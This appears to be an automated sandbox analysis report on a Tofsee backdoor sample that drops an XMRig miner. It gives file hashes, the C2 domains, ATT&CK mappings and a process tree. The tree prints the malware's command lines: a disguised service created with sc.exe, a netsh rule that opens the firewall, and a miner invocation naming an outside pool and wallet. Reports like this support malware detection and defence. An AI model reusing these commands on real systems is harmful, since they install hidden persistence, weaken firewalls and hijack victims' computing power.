Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-09-2022 02:19

General

  • Target

    b44b9f4497332c165effe7e5aebbe4d9.exe

  • Size

    197KB

  • MD5

    b44b9f4497332c165effe7e5aebbe4d9

  • SHA1

    2691cd88c4ae2c351cd292a551da798f6023440e

  • SHA256

    6f5f412f4100c88ca174a6c35bb1c0e91b366782ac87ecd4751d95329941e818

  • SHA512

    cf9cd66677ba92618a646a959efb4603d5c2ff2aa808b848be6215e976aa7e4686723963970c87a4d021c9b82fe675d201837cf54d99750f88e29cf7f8643cbf

  • SSDEEP

    3072:Wiz4MyLvL4klKN51fIR6BtbV9AZEbyeWyfElB1X/PkkXx:kLvblSh7oqbrEN

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe
    "C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:536
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\grmmtgp\
      2⤵
        PID:1480
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hvbswona.exe" C:\Windows\SysWOW64\grmmtgp\
        2⤵
          PID:2016
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create grmmtgp binPath= "C:\Windows\SysWOW64\grmmtgp\hvbswona.exe /d\"C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2024
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description grmmtgp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:456
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start grmmtgp
          2⤵
          • Launches sc.exe
          PID:1472
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:936
      • C:\Windows\SysWOW64\grmmtgp\hvbswona.exe
        C:\Windows\SysWOW64\grmmtgp\hvbswona.exe /d"C:\Users\Admin\AppData\Local\Temp\b44b9f4497332c165effe7e5aebbe4d9.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1888
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:944
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1576

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      New Service

      1
      T1050

      Modify Existing Service

      1
      T1031

      Registry Run Keys / Startup Folder

      1
      T1060

      Privilege Escalation

      New Service

      1
      T1050

      Defense Evasion

      Disabling Security Tools

      1
      T1089

      Modify Registry

      2
      T1112

      Discovery

      System Information Discovery

      1
      T1082

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\hvbswona.exe
        Filesize

        10.4MB

        MD5

        a5760546829949e2c1832cb8a61febb1

        SHA1

        1b94096f862b16156259615ce4d77a168e25e939

        SHA256

        2e126121b86d3006331edabad9f97337b4e1608d54ab07bac83b8016919e01fd

        SHA512

        55187404d7a5960d2e567b0e58d45ebf9494cb2479f754d0bd1da16f910d7ad6179390578f89c105742e868100b1f082285bc104a481c75920a22c8bbda2deea

      • C:\Windows\SysWOW64\grmmtgp\hvbswona.exe
        Filesize

        10.4MB

        MD5

        a5760546829949e2c1832cb8a61febb1

        SHA1

        1b94096f862b16156259615ce4d77a168e25e939

        SHA256

        2e126121b86d3006331edabad9f97337b4e1608d54ab07bac83b8016919e01fd

        SHA512

        55187404d7a5960d2e567b0e58d45ebf9494cb2479f754d0bd1da16f910d7ad6179390578f89c105742e868100b1f082285bc104a481c75920a22c8bbda2deea

      • memory/456-62-0x0000000000000000-mapping.dmp
      • memory/536-54-0x0000000076831000-0x0000000076833000-memory.dmp
        Filesize

        8KB

      • memory/536-57-0x0000000000220000-0x0000000000233000-memory.dmp
        Filesize

        76KB

      • memory/536-56-0x000000000069B000-0x00000000006AC000-memory.dmp
        Filesize

        68KB

      • memory/536-58-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/536-74-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/536-71-0x000000000069B000-0x00000000006AC000-memory.dmp
        Filesize

        68KB

      • memory/936-70-0x0000000000000000-mapping.dmp
      • memory/944-83-0x00000000000B0000-0x00000000000B6000-memory.dmp
        Filesize

        24KB

      • memory/944-89-0x00000000001A0000-0x00000000001A5000-memory.dmp
        Filesize

        20KB

      • memory/944-98-0x0000000000090000-0x00000000000A5000-memory.dmp
        Filesize

        84KB

      • memory/944-69-0x0000000000099A6B-mapping.dmp
      • memory/944-95-0x0000000000330000-0x0000000000337000-memory.dmp
        Filesize

        28KB

      • memory/944-92-0x0000000005900000-0x0000000005D0B000-memory.dmp
        Filesize

        4.0MB

      • memory/944-68-0x0000000000090000-0x00000000000A5000-memory.dmp
        Filesize

        84KB

      • memory/944-86-0x00000000000C0000-0x00000000000D0000-memory.dmp
        Filesize

        64KB

      • memory/944-66-0x0000000000090000-0x00000000000A5000-memory.dmp
        Filesize

        84KB

      • memory/944-79-0x0000000000090000-0x00000000000A5000-memory.dmp
        Filesize

        84KB

      • memory/944-80-0x0000000001B50000-0x0000000001D5F000-memory.dmp
        Filesize

        2.1MB

      • memory/1472-63-0x0000000000000000-mapping.dmp
      • memory/1480-55-0x0000000000000000-mapping.dmp
      • memory/1576-99-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1576-101-0x00000000001C0000-0x00000000002B1000-memory.dmp
        Filesize

        964KB

      • memory/1576-106-0x000000000025259C-mapping.dmp
      • memory/1888-75-0x0000000000400000-0x000000000058B000-memory.dmp
        Filesize

        1.5MB

      • memory/1888-72-0x000000000074B000-0x000000000075C000-memory.dmp
        Filesize

        68KB

      • memory/2016-59-0x0000000000000000-mapping.dmp
      • memory/2024-61-0x0000000000000000-mapping.dmp